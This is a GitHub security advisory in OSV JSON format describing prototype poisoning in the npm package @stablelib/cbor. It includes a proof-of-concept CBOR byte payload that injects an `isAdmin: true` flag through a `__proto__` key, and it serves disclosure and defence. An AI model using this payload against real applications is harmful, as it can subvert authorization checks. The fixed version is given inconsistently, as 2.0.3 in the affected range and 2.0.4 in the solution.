{"id":"GHSA-w48f-fwg7-ww6p","summary":"@stablelib/cbor: Prototype poisoning via `__proto__` map keys in CBOR decoding","details":"### Summary\n\n`@stablelib/cbor` decodes CBOR maps into ordinary JavaScript objects and assigns attacker-controlled keys directly onto those objects. A CBOR map key named `__proto__` therefore changes the prototype of the decoded object instead of becoming an ordinary data property.\n\n### Details\n\nThe decoder builds map results with a plain `{}` and then stores attacker-controlled keys using bracket assignment.\n\nThat is unsafe for special property names. In JavaScript, assigning to `obj[\"__proto__\"]` on a normal object does not create a plain own property. It invokes the built-in `__proto__` setter and replaces the object’s prototype if the supplied value is an object or `null`.\n\nAs a result, a CBOR payload containing a map entry like:\n\n* key: `\"__proto__\"`\n* value: `{ isAdmin: true }`\n\ndoes not decode to an object with an own property called `__proto__`. It decodes to an object whose prototype is now attacker-controlled. Any code that later reads properties through normal lookup will see inherited attacker-supplied values.\n\n### PoC\n\n```js\nimport { decode } from \"@stablelib/cbor\";\n\n// CBOR:\n// {\n//   \"__proto__\": { \"isAdmin\": true }\n// }\n//\n// a1                    map(1)\n//   69                  text(9)\n//     \"__proto__\"\n//   a1                  map(1)\n//     67                text(7)\n//       \"isAdmin\"\n//     f5                true\n\nconst payload = new Uint8Array([\n  0xa1,\n  0x69, 0x5f, 0x5f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x5f, 0x5f,\n  0xa1,\n  0x67, 0x69, 0x73, 0x41, 0x64, 0x6d, 0x69, 0x6e,\n  0xf5\n]);\n\nconst obj = decode(payload);\n\nconsole.log(Object.hasOwn(obj, \"isAdmin\")); // false\nconsole.log(obj.isAdmin);                   // true\nconsole.log(Object.getPrototypeOf(obj).isAdmin); // true\n```\n\n### Impact\n\nAny application that decodes untrusted CBOR into JavaScript objects can receive objects with attacker-controlled prototypes.\n\nIn practice, that can corrupt configuration objects, influence authorization checks, alter feature flags, and break application logic that relies on normal property lookup instead of strict own-property checks. If the decoded object is later merged into other objects, the impact can spread further.\n\n### Solution\n\nUpgrade to version 2.0.4.","modified":"2026-04-07T14:37:59.936837Z","published":"2026-04-04T04:24:27Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-04-04T04:24:27Z","nvd_published_at":null,"cwe_ids":["CWE-1321"]},"references":[{"type":"WEB","url":"https://github.com/StableLib/stablelib/security/advisories/GHSA-w48f-fwg7-ww6p"},{"type":"WEB","url":"https://github.com/StableLib/stablelib/commit/0f153a63b7552a0e8721f640984113e419015026"},{"type":"PACKAGE","url":"https://github.com/StableLib/stablelib"}],"affected":[{"package":{"name":"@stablelib/cbor","ecosystem":"npm","purl":"pkg:npm/%40stablelib/cbor"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w48f-fwg7-ww6p/GHSA-w48f-fwg7-ww6p.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N"}]}